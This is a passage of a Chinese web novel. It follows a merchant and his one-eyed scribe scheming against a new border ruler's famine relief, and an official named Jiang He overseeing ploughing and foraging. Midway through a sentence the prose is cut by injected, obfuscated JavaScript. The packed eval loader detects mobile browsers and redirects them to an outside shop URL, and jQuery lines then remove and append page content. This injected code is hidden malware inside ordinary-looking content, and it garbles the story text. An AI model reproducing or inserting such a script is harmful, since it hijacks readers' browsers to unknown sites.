各处街道口的墙壁上新贴了赈济布告,红纸黑字分外醒目。布告前围着些许的百姓,最先看明白的那几人眼睛忽的睁大,高声念着布告上的内容,语气里是掩不住的激动。
“朝廷要强制富商豪强放粮了,还免了今年的赋税。”
话音一落,人群中先是短暂的沉默,继而爆发出一阵欢呼,不少人双手合十喃喃念叨“谢天谢地”。
街头巷尾,人群越聚越多,一时间,竟显出几分久违的热闹与生气。
然而这份热闹并未传到城中所有角落。
隔着两条街的李府,大白天的就闭着门户,门前连个看门的小厮也不曾瞧见。
往日这个时辰,李府门前总有些来往的客商仆从,如今却静得连犬吠都无,偌大的宅院反倒透出几分凄清阴森的感觉。
穿过垂花门,内院同样一片静谧。
偏厅里,主位上坐着的正是李府家主李厚德。
李厚德身量短小,眼下微青,眉宇间透着一股被酒色掏空后的疲态。
厅中还立着位年轻男子,这人身形颀长,宽肩窄腰,即便只看背影,也能瞧出是个风度翩翩的少年郎。
李厚德抿了口茶,眉头微微一皱,将茶盏搁回几案上,语气里带着几分不悦,道:“今日这茶不对味,今年新出的明前龙井,名头倒是响,可终究少了几分回味。”
年轻男子闻言转过身来,恭敬地欠了欠身。
“许是府中新来的小厮不懂事,只记得新茶贵重,却没摸准家主向来偏爱陈茶的醇厚。”
李厚德脸上这才露出几分笑意,道:“当初把你留下,府里不少人都说不合适。毕竟读书人难养,心思多,心气又高,怎么甘心吃商人饭。”
他顿了顿,语气意味深长地补充道:“如今看来,倒是我没看错人。府里上下,也就你最懂我的心思了,聪明人就是比那些掉书袋的呆子会审时度势。”
“家主厚德。若非您当初收留我与小妹进府,我兄妹二人怕是早已饿死街头,如今能有口热饭吃,有个遮风避雨的屋舍住,全都是仰赖家主恩德。某便是做牛做马,也报答不完这份恩情的。”
“你这才学,堪比当年的李太白,只可惜被那只眼睛耽误了。”李厚德目光意有所指地扫过年轻男子的左眼,道:“若是生得周全些,以你的文采,三年一届的科举,中个进士不在话下,入了翰林院,往后平步青云,封妻荫子,那才是读书人该走的正途。如今跟着我这个低贱的商贾,做些账房师爷的营生,委实屈才了。”
年轻男子垂眸,神色平静如常,仿佛李厚德那番话不过是在说旁人的事。
“家主过誉了。某生有缺陷,科举无门,空有才华也不过纸上空谈。如今能在府中安身,为家主分忧,已是天大的幸事。家主虽是商人,却有君子之风,待人宽厚仁德,某能侍奉左右,实乃三生有幸。”
李厚德听了这番话,笑得很是称心,脸上那股疲态都散了几分。
年轻男子见他这般,才敢微微抬眼。
只见他左眼颜色明显异于常人,呈现出一种诡异的银蓝色,眼珠空洞失焦,怕是早已失去了视物的能力。
“像咱们这种人,就该有自知之明。明明连资格都没有,却还妄想凭科举一飞冲天,那才真是不自量力,招人笑话。”
“家主说得极是,某早已认清了自己的处境,不敢有非分之想。”
李厚德这才满意地点点头,话锋一转,道:“茶是陈茶醇厚,人是老人知心。可惜事不遂人愿啊。”说着声音突然沉了下来,带着几分阴郁,继续道:“先是强征荒地,如今又下赈济令,强令富户余粮入市。咱们这位边疆新主,手段可真是狠厉,半点情面都不留啊。”
“这倒也不意外。当年骨鸣案,他对自己姐姐的驸马和旧日家仆下杀手时眼睛都不眨一下。这样的人,能指望他有什么人情味可言。”
李厚德闻言,眼中闪过一丝惊讶,道:“你一个弱冠之年的后生,竟还知道这桩陈年旧事?整个安定城怕是也没几个知情的人了。”
“某能为家主做的不多,也就这点本事了。这些年凡是与这位新主有关的事,某都留心打听过一些。”
李厚德若有所思地看着他,半晌才缓缓道:“你倒是有心了。”
“其实,知道的人少,也未必是件坏事。既然这位新主想要收买人心,那便让他好好瞧瞧,人心是如何从拥戴变成唾弃的。”
年轻男人的声音压得很低,且透着几分阴冷,那只银蓝色的眼睛也微微暗了下去,像是想起了什么往事。
年轻男人回到自己房间,倒了杯茶,刚端起来,一看那茶汤颜色,脸色骤然阴沉下来,手上一用力,“啪”的一声将茶盏狠狠摔在了地上,碎瓷片和茶水四溅飞起。
没过多久,房门被轻轻推开,一个女子款款走了进来。这女子生得极为妩媚,柳眉杏眼,肤若凝脂,眼波流转间似能勾人摄魄。
她见满地碎瓷,眉头微蹙,声音软糯地问道:“可是家主干爹责难你了?若是心里有气,不妨同我说说。”
年轻男人名叫方有固。
方有固闻言,一把将那女子拉到自己腿上坐下,手指挑起她的下巴,似笑非笑道:“怎会?家主一向待我极好。只是今日下人泡茶不用心,这种陈年老茶都泛着霉味了,还敢往我屋里送,真是越发不把我放在眼里了。”
妩媚女子倚在他怀中,纤手抚上他的胸口,娇声道:“何必为一个下人上火,坏了自己身子。”
方有固冷笑一声:“是有点火大,你这解语花来得正是时候。”
他话音未落,便将人拉近。
屋内光线昏暗,只听得桌上那套青花瓷茶盏被碰撞得咣当作响,一下接一下,声音越来越急促。
不多时,整套茶盏终于承受不住,从桌沿滚落,在地上摔得粉碎。
方有固这才露出几分满意的神色。
小小的破碎声并
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17079836|193470||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
未引起府中其他人的注意。茶水泼洒一地,屋内弥漫着一股说不清道不明的气味。
·
今天天刚亮,姜禾就迫不及待地带着人和昨天刚弄来的种粮去地里了。
那心情简直别提多高兴了,脚步轻快得像要飞起来。
到了地头,她雄心壮志地动员了一番,说得慷慨激昂。
大早上的,好些人都还睡眼惺忪,哈欠连天。但听了姜禾的话,竟都被她身上那股子干劲感染了,一个个精神抖擞起来,仿佛体内突然涌出了使不完的力气。
开始犁地的时候,都干劲十足,吆喝声此起彼伏。
姜禾在田间站了一会,忽然瞧见两名农人用肩膀扛着一根长木杆,木杆中间绑着张犁,前面那人拉着往前走,后面那人弓身往前推,每一步都走得迟缓而沉重。
姜禾皱了皱眉,问身旁的田官:“这是在做什么?”
田官解释道:“回大人,实在是农具不够用啊。没法子,只能让人当牛使,两个人拖一张犁。”
姜禾:“……”
真就牛马?
姜禾当然不赞成这样,追问道:“朝廷的赈灾银不是下来了吗?没有拨一些借贷给百姓买农具?”
田官忙道:“大旱不知道要持续到什么时候,朝廷怜悯民生疾苦,拨了赈灾银下来,咱们做下官的也得跟着体恤朝廷,能省则省。苦一苦百姓倒没什么,银子可不能随便借、随便花。”
姜禾听了这番官话,脸色顿时沉了下来,道:“当官不为民做主,不如回家卖红薯。怎么就苦一苦百姓没什么了?百姓现在还不够苦?还得苦到什么时候?未免把人看得太贱了!”
这番话说得田官汗流浃背,忙不迭找补道:“大人息怒,最近边疆不太平,咱们祖厉还算好的。下官这不是想着为王爷分忧吗,就没拿这些小事去烦扰王爷……”
姜禾打断他的话:“你是田官,唯一该操心的就是庄稼。把田里的活做好了,把粮食种出来了,那才是真正给王爷分忧。”
当然,也是说给她自己听的。
田官连忙应是。
趁着空闲功夫,姜禾就带着土生,还有一些没什么劳动力的老人小孩,一起去挖野菜。
土生虽然记性极好,又有作画的天赋,但他没见过的东西也不能凭空画出来。所以姜禾一有空闲就带着一帮人去挖野菜,这样一来既能让土生有作画的参照物,也能让大伙儿多些口粮。
虽说官府发了赈灾粮,可大伙儿领的都是勉强裹腹的量。尤其是那些老人小孩,因为干不了重活,还想着少吃一口,把粮食省了给家里能干活的留着。
每个人的日子过得都相当紧巴。
姜禾因为是病患,所以吃得还相对好些,隔三差五能见着点荤腥。
萧昫他们在府衙吃的也不过是粗粮杂饭,顿顿清汤寡水,油星子都见不着几点。
眼下大家伙的追求就是只要不饿死,就已经很满足了。